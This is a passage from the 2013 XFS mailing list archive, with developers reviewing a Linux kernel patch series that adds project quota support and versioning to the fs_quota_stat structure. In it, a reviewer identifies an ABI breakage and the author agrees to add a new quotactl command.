FS_{USER,PROJ,GROUP}_QUOTA */ > @@ -137,31 +138,71 @@ typedef struct fs_disk_quota { > * Provides a centralized way to get meta information about the quota subsystem. > * eg. space taken up for user and group quotas, number of dquots currently > * incore. > + * User space caller should set qs_version to the appropriate version > + * of the fs_quota_stat data structure they are providing. Not providing > + * a version will be treated as FS_QSTAT_VERSION. > */ > #define FS_QSTAT_VERSION 1 /* fs_quota_stat.qs_version */ > +#define FS_QSTAT_VERSION_2 2 /* new field qs_pquota; realignment */ > > /* > * Some basic information about 'quota files'. > */ > -typedef struct fs_qfilestat { > +struct fs_qfilestat_v1 { > __u64 qfs_ino; /* inode number */ > __u64 qfs_nblks; /* number of BBs 512-byte-blks */ > __u32 qfs_nextents; /* number of extents */ > -} fs_qfilestat_t; > +}; > > -typedef struct fs_quota_stat { > +struct fs_quota_stat_v1 { > __s8 qs_version; /* version number for future changes */ > __u16 qs_flags; /* FS_QUOTA_{U,P,G}DQ_{ACCT,ENFD} */ > __s8 qs_pad; /* unused */ > - fs_qfilestat_t qs_uquota; /* user quota storage information */ > - fs_qfilestat_t qs_gquota; /* group quota storage information */ > -#define qs_pquota qs_gquota > + struct fs_qfilestat_v1 qs_uquota; /* user quota information */ > + struct fs_qfilestat_v1 qs_gquota; /* group quota information */ > __u32 qs_incoredqs; /* number of dquots incore */ > __s32 qs_btimelimit; /* limit for blks timer */ > __s32 qs_itimelimit; /* limit for inodes timer */ > __s32 qs_rtbtimelimit;/* limit for rt blks timer */ > __u16 qs_bwarnlimit; /* limit for num warnings */ > __u16 qs_iwarnlimit; /* limit for num warnings */ > -} fs_quota_stat_t; > +}; > + > +/* > + * Some basic information about 'quota files'. Version 2. > + */ > +struct fs_qfilestat { > + __u64 qfs_ino; /* inode number */ > + __u64 qfs_nblks; /* number of BBs 512-byte-blks */ > + __u32 qfs_nextents; /* number of extents */ > + __u32 qfs_pad; /* pad for 8-byte alignment */ > +}; > + > +struct fs_quota_stat { > + __s8 qs_version; /* version for future changes */ > + __u8 qs_pad1; /* pad for 16bit alignment */ > + __u16 qs_flags; /* FS_QUOTA_.* flags */ > + __u32 qs_incoredqs; /* number of dquots incore */ > + struct fs_qfilestat qs_uquota; /* user quota information */ > + struct fs_qfilestat qs_gquota; /* group quota information */ > + struct fs_qfilestat qs_pquota; /* project quota information */ > + __s32 qs_btimelimit; /* limit for blks timer */ > + __s32 qs_itimelimit; /* limit for inodes timer */ > + __s32 qs_rtbtimelimit;/* limit for rt blks timer */ > + __u16 qs_bwarnlimit; /* limit for num warnings */ > + __u16 qs_iwarnlimit; /* limit for num warnings */ > + __u64 qs_pad2[8]; /* for future proofing */ > +}; > + > +/* > + * Since Version 1 did not have padding at appropriate places, > + * a new data structure has been defined for the older version to > + * provide backward compatibility. > + * Future extentions of this data structure won't require new > + * data structure definitions as the current one can be extended > + * with the logic and padding in place now. > + */ > +#define FS_QSTAT_V1_SIZE (sizeof(struct fs_quota_stat_v1)) > +#define FS_QSTAT_V2_SIZE (sizeof(struct fs_quota_stat)) > > #endif /* _LINUX_DQBLK_XFS_H */ > -- > 1.7.1 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From jack@suse.cz Wed Jul 10 11:26:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C3C407F3F for ; Wed, 10 Jul 2013 11:26:10 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5276CAC004 for ; Wed, 10 Jul 2013 09:26:07 -0700 (PDT) X-ASG-Debug-ID: 1373473565-04cb6c2a41aedd30001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id T7WNL01QGcgNclKC for ; Wed, 10 Jul 2013 09:26:05 -0700 (PDT) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id A2E02A51BB; Wed, 10 Jul 2013 18:26:04 +0200 (CEST) Received: by quack.suse.cz (Postfix, from userid 1000) id 8EFBD80E5E; Wed, 10 Jul 2013 18:26:02 +0200 (CEST) Date: Wed, 10 Jul 2013 18:26:02 +0200 From: Jan Kara To: Ben Myers Cc: Chandra Seetharaman , xfs@oss.sgi.com, swhiteho@redhat.com, Jan Kara Subject: Re: [PATCH v10 10/11] quota: Add proper versioning support to fs_quota_stat Message-ID: <20130710162602.GB32444@quack.suse.cz> X-ASG-Orig-Subj: Re: [PATCH v10 10/11] quota: Add proper versioning support to fs_quota_stat References: <1372371914-11370-1-git-send-email-sekharan@us.ibm.com> <1372371914-11370-11-git-send-email-sekharan@us.ibm.com> <20130710155538.GY20932@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130710155538.GY20932@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1373473565 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136371 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed 10-07-13 10:55:38, Ben Myers wrote: > Hey Chandra, > > On Thu, Jun 27, 2013 at 05:25:13PM -0500, Chandra Seetharaman wrote: > > Added appropriate pads and code for backward compatibility. > > > > Copied over the old version as it is different from the newer padded > > version. > > > > New callers of the system call have to set the version of the data > > structure being passed, and kernel will fill as much data as requested. > > > > Signed-off-by: Chandra Seetharaman > > I think we also need to > > Cc: Jan Kara Thanks for CC. > > diff --git a/fs/gfs2/quota.c b/fs/gfs2/quota.c > > index c7c840e..ca0dccd 100644 > > --- a/fs/gfs2/quota.c > > +++ b/fs/gfs2/quota.c > > @@ -1443,9 +1443,6 @@ static int gfs2_quota_get_xstate(struct super_block *sb, > > { > > struct gfs2_sbd *sdp = sb->s_fs_info; > > > > - memset(fqs, 0, sizeof(struct fs_quota_stat)); > > - fqs->qs_version = FS_QSTAT_VERSION; > > - > > switch (sdp->sd_args.ar_quota) { > > case GFS2_QUOTA_ON: > > fqs->qs_flags |= (FS_QUOTA_UDQ_ENFD | FS_QUOTA_GDQ_ENFD); > > diff --git a/fs/quota/quota.c b/fs/quota/quota.c > > index c7314f1..ae6526e 100644 > > --- a/fs/quota/quota.c > > +++ b/fs/quota/quota.c > > @@ -207,12 +207,57 @@ static int quota_setxstate(struct super_block *sb, int cmd, void __user *addr) > > static int quota_getxstate(struct super_block *sb, void __user *addr) > > { > > struct fs_quota_stat fqs; > > - int ret; > > + struct fs_quota_stat_v1 fqs_v1; > > + int ret, size; > > + void *fqsp; > > > > if (!sb->s_qcop->get_xstate) > > return -ENOSYS; > > + > > + memset(&fqs, 0, sizeof(struct fs_quota_stat)); > > + if (copy_from_user(&fqs, addr, 1)) /* just get the version */ > > + return -EFAULT; > > + > > + switch (fqs.qs_version) { > > + case FS_QSTAT_VERSION_2: > > + size = FS_QSTAT_V2_SIZE; > > + break; > > + default: > > + fqs.qs_version = FS_QSTAT_VERSION; > > + /* fallthrough */ > > + case FS_QSTAT_VERSION: > > + size = FS_QSTAT_V1_SIZE; > > + break; > > + } Guys, you cannot really do this. If anyone is using getxstate() with uninitialized buffer (which is fine so far), you cannot suddently start to rely on the contents of qs_version field. That's ABI (and even API) breakage. Unless I'm missing something, the only clean way is to use new quotactl value for the interface with version field used for input as well. Honza > > + > > ret = sb->s_qcop->get_xstate(sb, &fqs); > > - if (!ret && copy_to_user(addr, &fqs, sizeof(fqs))) > > + if (ret) > > + return ret; > > + > > + if (fqs.qs_version == FS_QSTAT_VERSION) { > > + fqs_v1.qs_version = fqs.qs_version; > > + fqs_v1.qs_flags = fqs.qs_flags; > > + fqs_v1.qs_pad = 0; > > + > > + fqs_v1.qs_uquota.qfs_ino = fqs.qs_uquota.qfs_ino; > > + fqs_v1.qs_uquota.qfs_nblks = fqs.qs_uquota.qfs_nblks; > > + fqs_v1.qs_uquota.qfs_nextents = fqs.qs_uquota.qfs_nextents; > > + > > + fqs_v1.qs_gquota.qfs_ino = fqs.qs_gquota.qfs_ino; > > + fqs_v1.qs_gquota.qfs_nblks = fqs.qs_gquota.qfs_nblks; > > + fqs_v1.qs_gquota.qfs_nextents = fqs.qs_gquota.qfs_nextents; > > + > > + fqs_v1.qs_incoredqs = fqs.qs_incoredqs; > > + fqs_v1.qs_btimelimit = fqs.qs_btimelimit; > > + fqs_v1.qs_itimelimit = fqs.qs_itimelimit; > > + fqs_v1.qs_rtbtimelimit = fqs.qs_rtbtimelimit; > > + fqs_v1.qs_bwarnlimit = fqs.qs_bwarnlimit; > > + fqs_v1.qs_iwarnlimit = fqs.qs_iwarnlimit; > > + fqsp = &fqs_v1; > > + } else > > + fqsp = &fqs; > > + > > + if (copy_to_user(addr, fqsp, size)) > > return -EFAULT; > > return ret; > > } > > diff --git a/fs/xfs/xfs_qm_syscalls.c b/fs/xfs/xfs_qm_syscalls.c > > index f42b585..1900022 100644 > > --- a/fs/xfs/xfs_qm_syscalls.c > > +++ b/fs/xfs/xfs_qm_syscalls.c > > @@ -420,9 +420,6 @@ xfs_qm_scall_getqstat( > > bool tempgqip = false; > > bool temppqip = false; > > > > - memset(out, 0, sizeof(fs_quota_stat_t)); > > - > > - out->qs_version = FS_QSTAT_VERSION; > > if (!xfs_sb_version_hasquota(&mp->m_sb)) { > > out->qs_uquota.qfs_ino = NULLFSINO; > > out->qs_gquota.qfs_ino = NULLFSINO; > > @@ -432,7 +429,6 @@ xfs_qm_scall_getqstat( > > out->qs_flags = (__uint16_t) xfs_qm_export_flags(mp->m_qflags & > > (XFS_ALL_QUOTA_ACCT| > > XFS_ALL_QUOTA_ENFD)); > > - out->qs_pad = 0; > > out->qs_uquota.qfs_ino = mp->m_sb.sb_uquotino; > > out->qs_gquota.qfs_ino = mp->m_sb.sb_gquotino; > > if (&out->qs_gquota != &out->qs_pquota) > > diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c > > index 992044f..1fafec9 100644 > > --- a/fs/xfs/xfs_super.c > > +++ b/fs/xfs/xfs_super.c > > @@ -549,14 +549,13 @@ xfs_showargs( > > else if (mp->m_qflags & XFS_UQUOTA_ACCT) > > seq_puts(m, "," MNTOPT_UQUOTANOENF); > > > > - /* Either project or group quotas can be active, not both */ > > - > > if (mp->m_qflags & XFS_PQUOTA_ACCT) { > > if (mp->m_qflags & XFS_PQUOTA_ENFD) > > seq_puts(m, "," MNTOPT_PRJQUOTA); > > else > > seq_puts(m, "," MNTOPT_PQUOTANOENF); > > - } else if (mp->m_qflags & XFS_GQUOTA_ACCT) { > > + } > > + if (mp->m_qflags & XFS_GQUOTA_ACCT) { > > if (mp->m_qflags & XFS_GQUOTA_ENFD) > > seq_puts(m, "," MNTOPT_GRPQUOTA); > > else > > diff --git a/include/uapi/linux/dqblk_xfs.h b/include/uapi/linux/dqblk_xfs.h > > index f17e3bb..04c4806 100644 > > --- a/include/uapi/linux/dqblk_xfs.h > > +++ b/include/uapi/linux/dqblk_xfs.h > > @@ -47,6 +47,7 @@ > > * 512 bytes. > > */ > > #define FS_DQUOT_VERSION 1 /* fs_disk_quota.d_version */ > > + > > typedef struct fs_disk_quota { > > __s8 d_version; /* version of this structure */ > > __s8 d_flags; /* FS_{USER,PROJ,GROUP}_QUOTA */ > > @@ -137,31 +138,71 @@ typedef struct fs_disk_quota { > > * Provides a centralized way to get meta information about the quota subsystem. > > * eg. space taken up for user and group quotas, number of dquots currently > > * incore. > > + * User space caller should set qs_version to the appropriate version > > + * of the fs_quota_stat data structure they are providing. Not providing > > + * a version will be treated as FS_QSTAT_VERSION. > > */ > > #define FS_QSTAT_VERSION 1 /* fs_quota_stat.qs_version */ > > +#define FS_QSTAT_VERSION_2 2 /* new field qs_pquota; realignment */ > > > > /* > > * Some basic information about 'quota files'. > > */ > > -typedef struct fs_qfilestat { > > +struct fs_qfilestat_v1 { > > __u64 qfs_ino; /* inode number */ > > __u64 qfs_nblks; /* number of BBs 512-byte-blks */ > > __u32 qfs_nextents; /* number of extents */ > > -} fs_qfilestat_t; > > +}; > > > > -typedef struct fs_quota_stat { > > +struct fs_quota_stat_v1 { > > __s8 qs_version; /* version number for future changes */ > > __u16 qs_flags; /* FS_QUOTA_{U,P,G}DQ_{ACCT,ENFD} */ > > __s8 qs_pad; /* unused */ > > - fs_qfilestat_t qs_uquota; /* user quota storage information */ > > - fs_qfilestat_t qs_gquota; /* group quota storage information */ > > -#define qs_pquota qs_gquota > > + struct fs_qfilestat_v1 qs_uquota; /* user quota information */ > > + struct fs_qfilestat_v1 qs_gquota; /* group quota information */ > > __u32 qs_incoredqs; /* number of dquots incore */ > > __s32 qs_btimelimit; /* limit for blks timer */ > > __s32 qs_itimelimit; /* limit for inodes timer */ > > __s32 qs_rtbtimelimit;/* limit for rt blks timer */ > > __u16 qs_bwarnlimit; /* limit for num warnings */ > > __u16 qs_iwarnlimit; /* limit for num warnings */ > > -} fs_quota_stat_t; > > +}; > > + > > +/* > > + * Some basic information about 'quota files'. Version 2. > > + */ > > +struct fs_qfilestat { > > + __u64 qfs_ino; /* inode number */ > > + __u64 qfs_nblks; /* number of BBs 512-byte-blks */ > > + __u32 qfs_nextents; /* number of extents */ > > + __u32 qfs_pad; /* pad for 8-byte alignment */ > > +}; > > + > > +struct fs_quota_stat { > > + __s8 qs_version; /* version for future changes */ > > + __u8 qs_pad1; /* pad for 16bit alignment */ > > + __u16 qs_flags; /* FS_QUOTA_.* flags */ > > + __u32 qs_incoredqs; /* number of dquots incore */ > > + struct fs_qfilestat qs_uquota; /* user quota information */ > > + struct fs_qfilestat qs_gquota; /* group quota information */ > > + struct fs_qfilestat qs_pquota; /* project quota information */ > > + __s32 qs_btimelimit; /* limit for blks timer */ > > + __s32 qs_itimelimit; /* limit for inodes timer */ > > + __s32 qs_rtbtimelimit;/* limit for rt blks timer */ > > + __u16 qs_bwarnlimit; /* limit for num warnings */ > > + __u16 qs_iwarnlimit; /* limit for num warnings */ > > + __u64 qs_pad2[8]; /* for future proofing */ > > +}; > > + > > +/* > > + * Since Version 1 did not have padding at appropriate places, > > + * a new data structure has been defined for the older version to > > + * provide backward compatibility. > > + * Future extentions of this data structure won't require new > > + * data structure definitions as the current one can be extended > > + * with the logic and padding in place now. > > + */ > > +#define FS_QSTAT_V1_SIZE (sizeof(struct fs_quota_stat_v1)) > > +#define FS_QSTAT_V2_SIZE (sizeof(struct fs_quota_stat)) > > > > #endif /* _LINUX_DQBLK_XFS_H */ > > -- > > 1.7.1 > > > > _______________________________________________ > > xfs mailing list > > xfs@oss.sgi.com > > http://oss.sgi.com/mailman/listinfo/xfs -- Jan Kara SUSE Labs, CR From bpm@sgi.com Wed Jul 10 13:47:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E31637F3F for ; Wed, 10 Jul 2013 13:47:04 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id A4DAF304053; Wed, 10 Jul 2013 11:47:04 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 5E917500B4B; Wed, 10 Jul 2013 13:47:04 -0500 (CDT) Date: Wed, 10 Jul 2013 13:47:04 -0500 From: Ben Myers To: Jan Kara Cc: Chandra Seetharaman , xfs@oss.sgi.com, swhiteho@redhat.com Subject: Re: [PATCH v10 10/11] quota: Add proper versioning support to fs_quota_stat Message-ID: <20130710184704.GZ32736@sgi.com> References: <1372371914-11370-1-git-send-email-sekharan@us.ibm.com> <1372371914-11370-11-git-send-email-sekharan@us.ibm.com> <20130710155538.GY20932@sgi.com> <20130710162602.GB32444@quack.suse.cz> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130710162602.GB32444@quack.suse.cz> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Jan, On Wed, Jul 10, 2013 at 06:26:02PM +0200, Jan Kara wrote: > On Wed 10-07-13 10:55:38, Ben Myers wrote: > > Hey Chandra, > > > > On Thu, Jun 27, 2013 at 05:25:13PM -0500, Chandra Seetharaman wrote: > > > Added appropriate pads and code for backward compatibility. > > > > > > Copied over the old version as it is different from the newer padded > > > version. > > > > > > New callers of the system call have to set the version of the data > > > structure being passed, and kernel will fill as much data as requested. > > > > > > Signed-off-by: Chandra Seetharaman > > > > I think we also need to > > > > Cc: Jan Kara > Thanks for CC. > > > > diff --git a/fs/gfs2/quota.c b/fs/gfs2/quota.c > > > index c7c840e..ca0dccd 100644 > > > --- a/fs/gfs2/quota.c > > > +++ b/fs/gfs2/quota.c > > > @@ -1443,9 +1443,6 @@ static int gfs2_quota_get_xstate(struct super_block *sb, > > > { > > > struct gfs2_sbd *sdp = sb->s_fs_info; > > > > > > - memset(fqs, 0, sizeof(struct fs_quota_stat)); > > > - fqs->qs_version = FS_QSTAT_VERSION; > > > - > > > switch (sdp->sd_args.ar_quota) { > > > case GFS2_QUOTA_ON: > > > fqs->qs_flags |= (FS_QUOTA_UDQ_ENFD | FS_QUOTA_GDQ_ENFD); > > > diff --git a/fs/quota/quota.c b/fs/quota/quota.c > > > index c7314f1..ae6526e 100644 > > > --- a/fs/quota/quota.c > > > +++ b/fs/quota/quota.c > > > @@ -207,12 +207,57 @@ static int quota_setxstate(struct super_block *sb, int cmd, void __user *addr) > > > static int quota_getxstate(struct super_block *sb, void __user *addr) > > > { > > > struct fs_quota_stat fqs; > > > - int ret; > > > + struct fs_quota_stat_v1 fqs_v1; > > > + int ret, size; > > > + void *fqsp; > > > > > > if (!sb->s_qcop->get_xstate) > > > return -ENOSYS; > > > + > > > + memset(&fqs, 0, sizeof(struct fs_quota_stat)); > > > + if (copy_from_user(&fqs, addr, 1)) /* just get the version */ > > > + return -EFAULT; > > > + > > > + switch (fqs.qs_version) { > > > + case FS_QSTAT_VERSION_2: > > > + size = FS_QSTAT_V2_SIZE; > > > + break; > > > + default: > > > + fqs.qs_version = FS_QSTAT_VERSION; > > > + /* fallthrough */ > > > + case FS_QSTAT_VERSION: > > > + size = FS_QSTAT_V1_SIZE; > > > + break; > > > + } > Guys, you cannot really do this. If anyone is using getxstate() with > uninitialized buffer (which is fine so far), you cannot suddently start to > rely on the contents of qs_version field. That's ABI (and even API) > breakage. Looks like you are correct to me. Seems that qs_version number was never checked until this patch. > Unless I'm missing something, the only clean way is to use new quotactl > value for the interface with version field used for input as well. If I understand... it would be something like this? #define Q_XGETQSTATV XQM_CMD(8) Or Q_XGETQSTAT2? Thanks, Ben From sekharan@us.ibm.com Wed Jul 10 15:50:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4BD2E7F3F for ; Wed, 10 Jul 2013 15:50:33 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3A1118F8071 for ; Wed, 10 Jul 2013 13:50:30 -0700 (PDT) X-ASG-Debug-ID: 1373489428-04cb6c2a41b06ac0001-NocioJ Received: from e39.co.us.ibm.com (e39.co.us.ibm.com [32.97.110.160]) by cuda.sgi.com with ESMTP id 8wDQ2OlqHdlzicEH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 10 Jul 2013 13:50:29 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.160 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] Received: from /spool/local by e39.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Wed, 10 Jul 2013 14:49:58 -0600 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] Received: from d03dlp01.boulder.ibm.com (9.17.202.177) by e39.co.us.ibm.com (192.168.1.139) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Wed, 10 Jul 2013 14:49:56 -0600 Received: from d03relay05.boulder.ibm.com (d03relay05.boulder.ibm.com [9.17.195.107]) by d03dlp01.boulder.ibm.com (Postfix) with ESMTP id 968D11FF001B for ; Wed, 10 Jul 2013 14:44:36 -0600 (MDT) Received: from d03av04.boulder.ibm.com (d03av04.boulder.ibm.com [9.17.195.170]) by d03relay05.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6AKnpWx141570 for ; Wed, 10 Jul 2013 14:49:52 -0600 Received: from d03av04.boulder.ibm.com (loopback [127.0.0.1]) by d03av04.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6AKnp0Y023652 for ; Wed, 10 Jul 2013 14:49:51 -0600 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av04.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6AKnoWd023583; Wed, 10 Jul 2013 14:49:50 -0600 Subject: Re: [PATCH v10 10/11] quota: Add proper versioning support to fs_quota_stat From: Chandra Seetharaman X-ASG-Orig-Subj: Re: [PATCH v10 10/11] quota: Add proper versioning support to fs_quota_stat Reply-To: sekharan@us.ibm.com To: Jan Kara Cc: Ben Myers , swhiteho@redhat.com, xfs@oss.sgi.com In-Reply-To: <20130710162602.GB32444@quack.suse.cz> References: <1372371914-11370-1-git-send-email-sekharan@us.ibm.com> <1372371914-11370-11-git-send-email-sekharan@us.ibm.com> <20130710155538.GY20932@sgi.com> <20130710162602.GB32444@quack.suse.cz> Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Wed, 10 Jul 2013 15:49:50 -0500 Message-ID: <1373489390.6020.30.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071020-3620-0000-0000-00000378F39E X-Barracuda-Connect: e39.co.us.ibm.com[32.97.110.160] X-Barracuda-Start-Time: 1373489429 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Wed, 2013-07-10 at 18:26 +0200, Jan Kara wrote: > On Wed 10-07-13 10:55:38, Ben Myers wrote: > > Hey Chandra, > > > diff --git a/fs/quota/quota.c b/fs/quota/quota.c > > > index c7314f1..ae6526e 100644 > > > --- a/fs/quota/quota.c > > > +++ b/fs/quota/quota.c > > > @@ -207,12 +207,57 @@ static int quota_setxstate(struct super_block *sb, int cmd, void __user *addr) > > > static int quota_getxstate(struct super_block *sb, void __user *addr) > > > { > > > struct fs_quota_stat fqs; > > > - int ret; > > > + struct fs_quota_stat_v1 fqs_v1; > > > + int ret, size; > > > + void *fqsp; > > > > > > if (!sb->s_qcop->get_xstate) > > > return -ENOSYS; > > > + > > > + memset(&fqs, 0, sizeof(struct fs_quota_stat)); > > > + if (copy_from_user(&fqs, addr, 1)) /* just get the version */ > > > + return -EFAULT; > > > + > > > + switch (fqs.qs_version) { > > > + case FS_QSTAT_VERSION_2: > > > + size = FS_QSTAT_V2_SIZE; > > > + break; > > > + default: > > > + fqs.qs_version = FS_QSTAT_VERSION; > > > + /* fallthrough */ > > > + case FS_QSTAT_VERSION: > > > + size = FS_QSTAT_V1_SIZE; > > > + break; > > > + } > Guys, you cannot really do this. If anyone is using getxstate() with > uninitialized buffer (which is fine so far), you cannot suddently start to > rely on the contents of qs_version field. That's ABI (and even API) > breakage. Agree, it is a API breakage. Will fix it by adding a new quotactl value as you suggest. Does #define Q_XGETQSTAT2 XQM_CMD(8) sound good ? > > Unless I'm missing something, the only clean way is to use new quotactl > value for the interface with version field used for input as well. > > Honza > From bpm@sgi.com Wed Jul 10 16:39:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CF7F27F3F for ; Wed, 10 Jul 2013 16:39:08 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 310CAAC004; Wed, 10 Jul 2013 14:39:08 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id B8459500B4B; Wed, 10 Jul 2013 16:39:07 -0500 (CDT) Date: Wed, 10 Jul 2013 16:39:07 -0500 From: Ben Myers To: Chandra Seetharaman Cc: xfs@oss.sgi.com Subject: Re: [PATCH v10 08/11] xfs: Add pquota fields where gquota is used. Message-ID: <20130710213907.GZ20932@sgi.com> References: <1372371914-11370-1-git-send-email-sekharan@us.ibm.com> <1372371914-11370-9-git-send-email-sekharan@us.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1372371914-11370-9-git-send-email-sekharan@us.ibm.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hi Chandra, On Thu, Jun 27, 2013 at 05:25:11PM -0500, Chandra Seetharaman wrote: > Add project quota changes to all the places where group quota field > is used: > * add separate project quota members into various structures > * split project quota and group quotas so that instead of overriding > the group quota members incore, the new project quota members are > used instead > * get rid of usage of the OQUOTA flag incore, in favor of separate > * group and project quota flags. ^ * is extra? > * add a project dquot argument to various functions. > > Not using the pquotino field from superblock yet. > > Signed-off-by: Chandra Seetharaman Patch looks good to me. Reviewed-by: Ben Myers I had just a few tiny nits and questions I found in review. If you were not already planning to repost I suggest you ignore them. ;) Regards, Ben > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > index 5e99968..71a8bc5 100644 > --- a/fs/xfs/xfs_ioctl.c > +++ b/fs/xfs/xfs_ioctl.c > @@ -928,7 +928,7 @@ xfs_ioctl_setattr( > struct xfs_trans *tp; > unsigned int lock_flags = 0; > struct xfs_dquot *udqp = NULL; > - struct xfs_dquot *gdqp = NULL; > + struct xfs_dquot *pdqp = NULL; > struct xfs_dquot *olddquot = NULL; > int code; > > @@ -957,7 +957,7 @@ xfs_ioctl_setattr( > if (XFS_IS_QUOTA_ON(mp) && (mask & FSX_PROJID)) { > code = xfs_qm_vop_dqalloc(ip, ip->i_d.di_uid, > ip->i_d.di_gid, fa->fsx_projid, > - XFS_QMOPT_PQUOTA, &udqp, &gdqp); > + XFS_QMOPT_PQUOTA, &udqp, NULL, &pdqp); > if (code) > return code; > } > @@ -994,8 +994,8 @@ xfs_ioctl_setattr( > XFS_IS_PQUOTA_ON(mp) && > xfs_get_projid(ip) != fa->fsx_projid) { > ASSERT(tp); > - code = xfs_qm_vop_chown_reserve(tp, ip, udqp, gdqp, > - capable(CAP_FOWNER) ? > + code = xfs_qm_vop_chown_reserve(tp, ip, udqp, NULL, > + pdqp, capable(CAP_FOWNER) ? > XFS_QMOPT_FORCE_RES : 0); > if (code) /* out of quota */ > goto error_return; > @@ -1113,7 +1113,7 @@ xfs_ioctl_setattr( > if (xfs_get_projid(ip) != fa->fsx_projid) { > if (XFS_IS_QUOTA_RUNNING(mp) && XFS_IS_PQUOTA_ON(mp)) { > olddquot = xfs_qm_vop_chown(tp, ip, > - &ip->i_gdquot, gdqp); > + &ip->i_pdquot, pdqp); > } > xfs_set_projid(ip, fa->fsx_projid); > > @@ -1160,13 +1160,13 @@ xfs_ioctl_setattr( > */ > xfs_qm_dqrele(olddquot); > xfs_qm_dqrele(udqp); > - xfs_qm_dqrele(gdqp); > + xfs_qm_dqrele(pdqp); > > return code; > > error_return: > xfs_qm_dqrele(udqp); > - xfs_qm_dqrele(gdqp); > + xfs_qm_dqrele(pdqp); > xfs_trans_cancel(tp, 0); > if (lock_flags) > xfs_iunlock(ip, lock_flags); Here in 